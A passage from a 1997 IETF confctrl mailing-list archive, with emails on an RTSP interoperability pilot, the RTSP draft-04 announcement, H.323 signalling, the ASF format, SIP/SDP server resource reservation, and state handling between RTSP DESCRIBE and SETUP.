	id <AA10380>; Wed, 17 Sep 1997 15:32:53 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA10374>; Wed, 17 Sep 1997 15:32:50 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA01855
	for <confctrl@isi.edu>; Wed, 17 Sep 1997 15:32:49 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA16285
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 17 Sep 1997 15:32:48 -0700
Message-Id: <3.0.3.32.19970917153245.00c7f7a0@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 17 Sep 1997 15:32:45 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP Interoperability Pilot, Oct. 16-17
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi Folks,

I want to now officially invite everyone with working RTSP code to Seattle
for an RTSP Interoperability Pilot, being held October 16-17.  There will
be no cover charge.  We will *insist* however, that you bring working RTSP
implementations of your own creation, and bring everything necessary to run
them (and preferably, the means to fix them as we find bugs).

We will be working over the next couple of weeks to firm up the exact
technical agenda for the meeting (i.e. the test grid and procedure for
running through it).  The main focus will be to gain confidence that
draft04 compliance is a sufficient means to gain interoperability, and that
nothing important is left unstated or just plain wrong.  To that end,
implementations will be expected to be draft04-compliant.

Space is limited, so RSVP as soon as possible.  We plan on hosting about 20
people; if more people RSVP than is conducive to having a productive
meeting, we might need to ask that companies limit the number of
representatives that they send.  We'll cross that bridge when we come to
it, though.

Let me know if you have any questions, and look forward to seeing you!

Thanks
Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Thu Sep 18 05:50:12 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA00438>; Thu, 18 Sep 1997 07:21:36 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA00432>; Thu, 18 Sep 1997 07:21:35 -0700
Received: from ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA25178
	for <confctrl@isi.edu>; Thu, 18 Sep 1997 07:21:34 -0700 (PDT)
Received: from ietf.ietf.org by ietf.org id aa06727; 18 Sep 97 9:50 EDT
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ietf.org
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-rtsp-04.txt,.ps
Date: Thu, 18 Sep 1997 09:50:12 -0400
Message-Id:  <9709180950.aa06727@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Real Time Streaming Protocol (RTSP)
	Author(s)	: H. Schulzrinne, A. Rao, R. Lanphier
	Filename	: draft-ietf-mmusic-rtsp-04.txt,.ps
	Pages		: 71
	Date		: 1997-09-17
	
The Real Time Streaming Protocol, or RTSP, is an application-level
   protocol for control over the delivery of data with real-time
   properties. RTSP provides an extensible framework to enable
   controlled, on-demand delivery of real-time data, such as audio and
   video. Sources of data can include both live data feeds and stored
   clips. This protocol is intended to control multiple data delivery
   sessions, provide a means for choosing delivery channels such as UDP,
   multicast UDP and TCP, and delivery mechanisms based upon RTP (RFC
   1889).

Internet-Drafts are available by anonymous FTP.  Login wih the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-rtsp-04.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-04.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-rtsp-04.txt".
	
NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID:	<19970917171705.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-rtsp-04.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-rtsp-04.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19970917171705.I-D@ietf.org>

--OtherAccess--

--NextPart--



From majordom@ISI.EDU  Thu Sep 18 10:50:39 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA15116>; Thu, 18 Sep 1997 12:01:07 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA15110>; Thu, 18 Sep 1997 12:01:05 -0700
Received: from mailsvr.nynexst.com (mailsvr.nynexst.com [128.209.2.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA10039
	for <confctrl@isi.edu>; Thu, 18 Sep 1997 12:01:02 -0700 (PDT)
Received: from psl45.nynexst.com (psl45 [128.209.11.145])
	by mailsvr.nynexst.com (8.8.6/8.8.6) with SMTP id OAA04782;
	Thu, 18 Sep 1997 14:59:57 -0400 (EDT)
Received: by psl45.nynexst.com (SMI-8.6/SMI-SVR4)
	id OAA27445; Thu, 18 Sep 1997 14:50:39 -0400
Date: Thu, 18 Sep 1997 14:50:39 -0400
From: chrisk@Nynexst.COM (Christopher Kang)
Message-Id: <199709181850.OAA27445@psl45.nynexst.com>
To: confctrl@ISI.EDU
Subject: H.323 question
Cc: chrisk@Nynexst.COM, chrisk@cs.columbia.edu, hgs@cs.columbia.edu
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Md5: +veyucmis2AGqjY51jFahw==
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi,

I am studying how the signalling works for IP-Telephony.
I used Microsoft Netmeeting to make a connection and looked at
the actual packets that were passed by two stations.
The environment was simply two windowNT stations in a LAN.

I found that the Setup message was passed from the caller to callee
after callee accepted the call from caller.
I thought the Setup message should be passed first before the callee
accept the call by reading H.323.  What am I missing in here ?

Also, there was no Alert nor Call Proceeding message from callee
to caller after callee received the Setup message.  Callee sent
the Connect message after receiving Setup message. 

Could someone please explain those to me. 

Thank you.


-Chris
____________________________________________________________
Chris S.  Kang          Broadband Data & Switching Platforms
chrisk@nynexst.com      NYNEX Science and Technology
Tel (914) 644-2968      500 Westchester Ave.
Fax (914) 644-2301      White Plains, NY 10604
____________________________________________________________


From majordom@ISI.EDU  Fri Sep 19 11:47:33 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA15594>; Fri, 19 Sep 1997 18:47:41 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA15587>; Fri, 19 Sep 1997 18:47:39 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA10011
	for <confctrl@isi.edu>; Fri, 19 Sep 1997 18:47:38 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA19989
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Fri, 19 Sep 1997 18:47:37 -0700
Message-Id: <3.0.3.32.19970919184733.0125bbd8@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Fri, 19 Sep 1997 18:47:33 -0700
To: rem-conf@es.net, confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: ASF Specification
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi folks,

I just wanted to solicit comments on the "Active Streaming Format (ASF)"
specification that Microsoft announced with the support of Progressive
Networks, Intel, Adobe, and Vivo, and a whole buncha other companies who
are interested in putting the file format compatibility problem to bed.

I'm sure most folks here are more interested in wire protocols, but having
a common file format that all tools can use to record to and servers can
use to playback from is a very handy thing, so I'd really encourage you to
look at it.  The folks at MS have put together a very good web site over at:
http://www.microsoft.com/asf

The spec, open issues, and instructions for joining the mailing list are
all on the MS web site (e-mail to Listserv@listserv.msn.com, no subject,
body: "subscribe ASF your name" (no quotes))

This is *really* on the fast track (period for public comment ends
September 30).  After this, tool and server vendors will plow ahead with
the current version, and the spec will be submitted to a standards body for
future versions (destination TBD).

Now's really the time to get your two cents in on this.  There's a lot of
really knowledgeable people on this list who could usefully contribute to
this spec, and we'd love to hear what y'all have to say.

Thanks
Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Tue Sep 23 04:44:33 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA07878>; Tue, 23 Sep 1997 11:45:06 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA07872>; Tue, 23 Sep 1997 11:45:05 -0700
Received: from alicia.nttlabs.com (alicia.nttlabs.com [204.162.36.12])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA16929
	for <confctrl@ISI.EDU>; Tue, 23 Sep 1997 11:45:05 -0700 (PDT)
From: fcao@nttlabs.com
Received: by alicia.nttlabs.com (8.8.5/3.5W(96/10/22))
	id LAA17211; Tue, 23 Sep 1997 11:44:33 -0700 (PDT)
Message-Id: <199709231844.LAA17211@alicia.nttlabs.com>
Subject: SIP, RTSP and resource reservation
To: confctrl@ISI.EDU
Date: Tue, 23 Sep 1997 11:44:33 -0700 (PDT)
Cc: sumisu@nttlabs.com, kt@nttlabs.com
X-Mailer: ELM [version 2.4(JP fake v0.33) PL24]
Content-Type: text
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi,

   Jeff Smith and I(NTT research Labs) are working on media server design 
using SIP and RTSP. Because of resource reservation for RECORD or PLAYBACK, 
we figured out that we have to add some attributes in SDP and/or add some 
methods in SIP. 

   The following is our input to this topic. We'd love to hear your 
comments so that we can make SIP and SDP more suitable for invitation.  

   Thanks,

Feng

o---------------------------------------------------------------------o
|  Feng Cao							      |
|								      |
|  Nippon Telegraph and Telephone Corporation  		              | 
|  Multimedia Communications Laboratories       Email:fcao@nttlabs.com|
|  250 Cambridge Ave., Suite 205                TEL:  415-833-3627    |
|  Palo Alto, CA 94306                          FAX:  415-326-1878    |
o---------------------------------------------------------------------o


-------------------------our comments---------------------------------------- 
                   SIP, RTSP and Resource Reservation

Basic Assumption:
 1. SIP will be used to invite media servers to participate in a session.
 2. If  media servers agree to participate in a session, they must guarantee 
    the resource reservation for this session.
 3. RTSP will be used to SETUP the session,  send RECORD/PLAYBACK to the 
    media servers.

Design issues:
1. Since the resource reservations are made during SIP, some additional 
   attributes are needed for the exchange information between the inviter 
   and the invitees,

   Solution:some attributes are added for SDP used in SIP. (SDP)

2. resource reservation preview; (SIP and media server)
   review the schedules for certain resources; 

   Solution: this should provide queries to database; this may use OPTIONS 
        from SIP or add new method into SIP such REQUIRE.

2. resource reservation schedule; (media server)
      make reservation for the future session based on the current schedules;

      Problem: schedule algorithm; 

3. resource reservation authorization; (SIP, RTSP and media server)
      This covers check-in (make reservation) and check-out(resource 
         utilization).

      Solution: user-id; meeting-id;

4. resource reservation cancellation;   (SIP and media server)
      This needs new methods from SIP to cancel the resource reservation.

      Solution: new Method: CANCEL, with SDP

5. resource reservation update:  (SIP and media server)

       Solution: This could be done in two approaches:
         A. Cancel the previous reservation, and reinvite the media server.
              advantage: no need to change SIP; ......
              disadvantage:  delay; bad for some updates such as reducing 
                      some resources; .......

         B. add new method UPDATE to SIP
              advantage: minimum delay; good for small changes;......
              disadvantage: add method to SIP; ......

6. RTSP client's SETUP must add the  reservation id (call it meeting id 
      or conference id) to inform the server of its reservation, and get 
      back the session id. (RTSP)

Discussion One: More specifications for  adding SDP attributes:
   1. reservation-id(or Conference id) 
       A.Two approachs: determined by the inviter or the media servers.
           We choose the reservation-id determined by the inviter. The 
           reason is that the inviter must create a table to remember all 
           reservation-ids from different media servers.

       B. This id must be global unique.

       C. In SDP, define 
                    a=conference:<digit>

       E: In SDP, define
                    a=cancel:<digit>

       D. u=URI  is provided in SDP,  which can be used for URL information; but
           only one u=URI in each SDP.
           a=control:..... in SDP is provided for aggregate control for 
           media streams.

Discussion Two: More specification for adding cancellation for SIP:
   1. adding new method CANCEL in SIP.

   2. using a=cancel:<digit> in the above to inform the server.

   3. make Confirm:true for any cancellation operation. Retry it if it fails.

Discussion Three: More specification for RTSP SETUP:
   1. the easiest way is to use Conference=reservation-id  when the 
      inviter talks to the media server; after that a session id will be 
      generated and used for the whole session.

   2. it is possible to add an attribute to RTSP for reservation-id.

I for  inviter, M for media server
SIP invitation:
   I-->M: INVITE  Request-URI SIP/2.0
              From: .......
              To: ........
              .......
              a=conference:****

   M-->I: SIP/2.0 200 Request-URI
              .........
              a=conference:****
              u=URL

SIP cancellation:
   I-->M: CANCEL Request-URI SIP/2.0
              ........
              conference=****

   M-->I: SIP/2.0 200 Request-URI



From majordom@ISI.EDU  Tue Sep 23 15:12:59 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA19227>; Tue, 23 Sep 1997 16:13:08 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA19221>; Tue, 23 Sep 1997 16:13:06 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA00453
	for <confctrl@ISI.EDU>; Tue, 23 Sep 1997 16:13:05 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id TAA29698; Tue, 23 Sep 1997 19:13:02 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id TAA15908; Tue, 23 Sep 1997 19:13:01 -0400 (EDT)
Message-Id: <34284CFB.38B4342C@cs.columbia.edu>
Date: Tue, 23 Sep 1997 19:12:59 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.03 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: fcao@nttlabs.com
Cc: confctrl@ISI.EDU, sumisu@nttlabs.com, kt@nttlabs.com
Subject: Re: SIP, RTSP and resource reservation
References: <199709231844.LAA17211@alicia.nttlabs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I assume you are talking about reserving *server* resources such as disk
bandwidth rather than network resources, as the latter is probably more
the province of RSVP, YESSIR, ST-II, etc. (I believe advance reservation
for some of these has been proposed).

That said, a SIP INVITE for the same Call-ID could be made to override
the old one by having a new SDP session version. (Whether this is
desirable behavior or whether duplicate SIP INVITEs with the same
Call-ID should just be tossed silently is a matter to be debated.)

Since BYE and INVITE could be in the same packet, the likelihood that
somebody "steals" your resources after you release them is pretty slim.
We had discussed adding a CHANGE method at some point (in SCIP), to
allow changes in media agents, for example, so this might be a good
motivation to bring this back.



fcao@nttlabs.com wrote:

> 
> 2. resource reservation preview; (SIP and media server)
>    review the schedules for certain resources;
> 
>    Solution: this should provide queries to database; this may use OPTIONS
>         from SIP or add new method into SIP such REQUIRE.

What exactly do you mean by preview? The server should return a
'Retry-After' if the slot desired isn't available.


> 
> 3. resource reservation authorization; (SIP, RTSP and media server)
>       This covers check-in (make reservation) and check-out(resource
>          utilization).
> 
>       Solution: user-id; meeting-id;

SIP Call-ID -> RTSP Conference-ID?

> 
> 4. resource reservation cancellation;   (SIP and media server)
>       This needs new methods from SIP to cancel the resource reservation.
> 
>       Solution: new Method: CANCEL, with SDP

No need for CANCEL: we have BYE for that already.

> 
> 5. resource reservation update:  (SIP and media server)
> 
>        Solution: This could be done in two approaches:
>          A. Cancel the previous reservation, and reinvite the media server.
>               advantage: no need to change SIP; ......
>               disadvantage:  delay; bad for some updates such as reducing
>                       some resources; .......
> 
>          B. add new method UPDATE to SIP
>               advantage: minimum delay; good for small changes;......
>               disadvantage: add method to SIP; ......

See CHANGE suggestion above.



-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 908 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Tue Sep 23 13:55:04 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA29822>; Tue, 23 Sep 1997 20:55:08 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA29816>; Tue, 23 Sep 1997 20:55:06 -0700
Received: from mail5.microsoft.com (mail5.microsoft.com [131.107.3.31])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA11759
	for <confctrl@isi.edu>; Tue, 23 Sep 1997 20:55:06 -0700 (PDT)
Received: by mail5.microsoft.com with Internet Mail Service (5.5.1664.3)
	id <TPD46X7Z>; Tue, 23 Sep 1997 20:58:04 -0700
Message-Id: <E1F032A1F6FAD011BE6100805FD468021EE425@RED-40-MSG.dns.microsoft.com>
From: "Anders Klemets (VXtreme)" <anderskl@microsoft.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Allocating state in RTSP DESCRIBE
Date: Tue, 23 Sep 1997 20:55:04 -0700
X-Mailer: Internet Mail Service (5.5.1664.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I am looking for input from the group for how to solve the following
RTSP problem:

Suppose the server receives a DESCRIBE command for some presentation or
media object.  The presentation description is generated dynamically by
the server.  The description might be generated randomly, or it might
depend on the time of the day, or whatever.  Any SETUP commands for the
presentation URL that the server subsequently receives may have a
meaning that is dependent on the previously generated presentation
description.  A presentation description might have implicit state
information, and that state might be needed later, when playing the
streams in the presentation.  The problem is that the presentation was
generated dynamically, and the the DESCRIBE command is not supposed to
allocate any state on the server.

So, when the server receives the SETUP and PLAY commands, it might need
to know which randomly generated presentation description the client has
seen.  The question is, how can this be accomplished?

I can think of two ways of achieving this "association" between DESCRIBE
and SETUP/PLAY:

1.  The server allocates whatever state it needs when it generates the
presentation description, and allocates an identifier for this state,
which it encodes in the URLs that are included in the presentation
description.  This state identifier might be a random number of some
sort.  If the client never sends a SETUP command, the state is deleted
after a timeout interval.

2.  Instead of allocating a state identifier, as in the previous
example, the server allocates a session ID, which serves the same
purpose.  The session ID is returned on a "Session:" header line in the
DESCRIBE response.  (This would only be done when necessary, i.e. it
would not be done for normal, "static", presentations.)  The client
includes the session ID on a "Session:" line when it sends a SETUP
command.  If the client does not want to send a SETUP command, it should
send a TEARDOWN command to deallocate the session id and the state that
goes with it.  But if not, the session id will be automatically deleted
after a timeout interval.

Method #2 requires a modification of the RTSP spec, but it seems like a
"cleaner" solution than putting a lot of junk in the URLs.  After all,
all the normal functionality that the session ID provides can also be
accomplished by generating random URLs.  So if generating random URLs
was such a palatable solution, we would not need to have any session IDs
at all.

Comments?

Anders


From majordom@ISI.EDU  Wed Sep 24 02:13:55 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA17046>; Wed, 24 Sep 1997 09:14:29 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA17040>; Wed, 24 Sep 1997 09:14:28 -0700
Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA01472
	for <confctrl@ISI.EDU>; Wed, 24 Sep 1997 09:14:27 -0700 (PDT)
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id JAA26286
	for <confctrl@ISI.EDU>; Wed, 24 Sep 1997 09:13:56 -0700 (PDT)
Received: from electron ([204.29.186.92]) by dredd.mcom.com
          (Netscape Messaging Server 3.0)  with ESMTP id AAA623;
          Wed, 24 Sep 1997 09:13:56 -0700
Message-Id: <34293C43.2D83134D@netscape.com>
Date: Wed, 24 Sep 1997 09:13:55 -0700
From: anup@netscape.com (Anup Rao)
Organization: Netscape Communications Corporation
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: "Anders Klemets (VXtreme)" <anderskl@microsoft.com>
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: Allocating state in RTSP DESCRIBE
X-Priority: 3 (Normal)
References: <E1F032A1F6FAD011BE6100805FD468021EE425@RED-40-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anders Klemets (VXtreme) wrote:

> I am looking for input from the group for how to solve the following
> RTSP problem:
>
> Suppose the server receives a DESCRIBE command for some presentation
> or
> media object.  The presentation description is generated dynamically
> by
> the server.  The description might be generated randomly, or it might
> depend on the time of the day, or whatever.  Any SETUP commands for
> the
> presentation URL that the server subsequently receives may have a
> meaning that is dependent on the previously generated presentation
> description.  A presentation description might have implicit state
> information, and that state might be needed later, when playing the
> streams in the presentation.  The problem is that the presentation was
>
> generated dynamically, and the the DESCRIBE command is not supposed to
>
> allocate any state on the server.
>
> So, when the server receives the SETUP and PLAY commands, it might
> need
> to know which randomly generated presentation description the client
> has
> seen.  The question is, how can this be accomplished?
>

The If-Match header(Section 12.22) accomplishes this.(Also see
corresponding etag definition in Appendix C).

One might argue that such a mechanism(ie an identifier guaranteeing the
freshness of the description) and the state signified by the session id
are accomplishing the same thing - however this is not the case. One is
the actual state of the stream(s) ie playing, stopped etc., the other is
simply a freshness identifier for the presentation itself. For eg., a
freshness identifier could remain active for a day, a session id  would
not.

--
-----------------------------------------------------------------
  Anup Rao
  Member Of Technical Staff
  Netscape Communications Corp.
  email : anup@netscape.com         Phone : (650) 937 3129
-----------------------------------------------------------------



From majordom@ISI.EDU  Wed Sep 24 03:39:09 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA22383>; Wed, 24 Sep 1997 10:40:03 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA22373>; Wed, 24 Sep 1997 10:40:02 -0700
Received: from mail5.microsoft.com (mail5.microsoft.com [131.107.3.31])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA06300
	for <confctrl@ISI.EDU>; Wed, 24 Sep 1997 10:40:01 -0700 (PDT)
Received: by mail5.microsoft.com with Internet Mail Service (5.5.1664.3)
	id <TPD47XT2>; Wed, 24 Sep 1997 10:42:20 -0700
Message-Id: <E1F032A1F6FAD011BE6100805FD468021EE427@RED-40-MSG.dns.microsoft.com>
From: "Anders Klemets (VXtreme)" <anderskl@microsoft.com>
To: "'anup@netscape.com'" <anup@netscape.com>
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: Allocating state in RTSP DESCRIBE
Date: Wed, 24 Sep 1997 10:39:09 -0700
X-Mailer: Internet Mail Service (5.5.1664.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wednesday, September 24, 1997 9:14 AM, anup@netscape.com
[SMTP:anup@netscape.com] wrote:
> The If-Match header(Section 12.22) accomplishes this.(Also see
> corresponding etag definition in Appendix C).

Interesting, I didn't realize that these things had been added to the
RTSP spec.  So the idea seems to be that when the client sends a SETUP
command, it would include a header line like this:

If-Match: "random-sdp-no-7"

The string "random-sdp-no-7" is an "entity tag" that is obtained from
the presentation description.  According to Appendix C, an SDP record
would need to contain the line

a=etag:"random-sdp-no-7"

That's fine, I guess.  It allows the client to obtain the entity tag
even if it downloaded the SDP record from a web server, or through some
other means.  But I am worried that not all presentation description
formats may have a well-defined way to specify an entity tag.  RTSP
should not rely on that any particular presentation description format
should have such a capability.  So for correctness, and symmetry, I
think RTSP should also allow the HTTP 1.1 "Etag:" header line.  It is
used to specify the entity tag in HTTP 1.1.  

Anders


From majordom@ISI.EDU  Wed Sep 24 05:25:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA28845>; Wed, 24 Sep 1997 12:26:59 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA28839>; Wed, 24 Sep 1997 12:26:57 -0700
Received: from alicia.nttlabs.com (alicia.nttlabs.com [204.162.36.12])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA12145
	for <confctrl@ISI.EDU>; Wed, 24 Sep 1997 12:26:56 -0700 (PDT)
From: fcao@nttlabs.com
Received: by alicia.nttlabs.com (8.8.5/3.5W(96/10/22))
	id MAA08019; Wed, 24 Sep 1997 12:25:35 -0700 (PDT)
Message-Id: <199709241925.MAA08019@alicia.nttlabs.com>
Subject: Re: SIP, RTSP and resource reservation
To: schulzrinne@cs.columbia.edu (Henning Schulzrinne)
Date: Wed, 24 Sep 1997 12:25:35 -0700 (PDT)
Cc: confctrl@ISI.EDU, sumisu@nttlabs.com, kt@nttlabs.com
In-Reply-To: <34284CFB.38B4342C@cs.columbia.edu> from "Henning Schulzrinne" at Sep 23, 97 07:12:59 pm
X-Mailer: ELM [version 2.4(JP fake v0.33) PL24]
Content-Type: text
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


  The basic scenario for resource reservation in our work is to 
invite some media servers to a conference, and the conference can't
start without the involvement of those servers. So *server* resource
reservation is important for us. We think SIP can do it with adding
some new methods such as CHANGE, and it might be the right time to
bring up SIP, SDP and server resource reservation. 

> I assume you are talking about reserving *server* resources such as disk
> bandwidth rather than network resources, as the latter is probably more
> the province of RSVP, YESSIR, ST-II, etc. (I believe advance reservation
> for some of these has been proposed).

  Yes, we want to reserve *server* resources such as disk bandwidth,
recording/playing devices, ......

> That said, a SIP INVITE for the same Call-ID could be made to override
> the old one by having a new SDP session version. (Whether this is
> desirable behavior or whether duplicate SIP INVITEs with the same
> Call-ID should just be tossed silently is a matter to be debated.)

  We need some kind of reservation-id(or Call-ID) embeded in SDP.
We could add some kind of sequence number and/or time stamp for 
each INVITE for the same Call-ID.
 
> We had discussed adding a CHANGE method at some point (in SCIP), to
> allow changes in media agents, for example, so this might be a good
> motivation to bring this back.

The CHANGE(or UPDATE) method is what we need.  Otherwise, the sequence number 
or the time stamp must be used to inform the server of any change of resource 
reservation.  

> > 2. resource reservation preview; (SIP and media server) 
> >    review the schedules for certain resources; 
> > 
> >    Solution: this should provide queries to database; this may use OPTIONS 
> >         from SIP or add new method into SIP such REQUIRE.
> 
> What exactly do you mean by preview? The server should return a
> 'Retry-After' if the slot desired isn't available.
> 
  
  In the case that the media server must show up in a session(or conference), 
the 'Retry-After' is not efficient. The media server should return some
information about when it is going to be free. This will help the
initiator decide when start the session(or conference).
Preview means checking the server's schedule for some of its resources. 

> > 
> > 3. resource reservation authorization; (SIP, RTSP and media server)
> >       This covers check-in (make reservation) and check-out(resource
> >          utilization).
> > 
> >       Solution: user-id; meeting-id;
> 
> SIP Call-ID -> RTSP Conference-ID?

  This is possible. We need more discussion on it. 



Feng

 o---------------------------------------------------------------------o
 |  Feng Cao							       |
 |								       |
 |  Nippon Telegraph and Telephone Corporation  		       | 
 |  Multimedia Communications Laboratories       Email:fcao@nttlabs.com|
 |  250 Cambridge Ave., Suite 205                TEL:  415-833-3627    |
 |  Palo Alto, CA 94306                          FAX:  415-326-1878    |
 o---------------------------------------------------------------------o


From majordom@ISI.EDU  Wed Sep 24 19:12:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA16023>; Wed, 24 Sep 1997 20:12:37 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA16017>; Wed, 24 Sep 1997 20:12:36 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA00349
	for <confctrl@ISI.EDU>; Wed, 24 Sep 1997 20:12:35 -0700 (PDT)
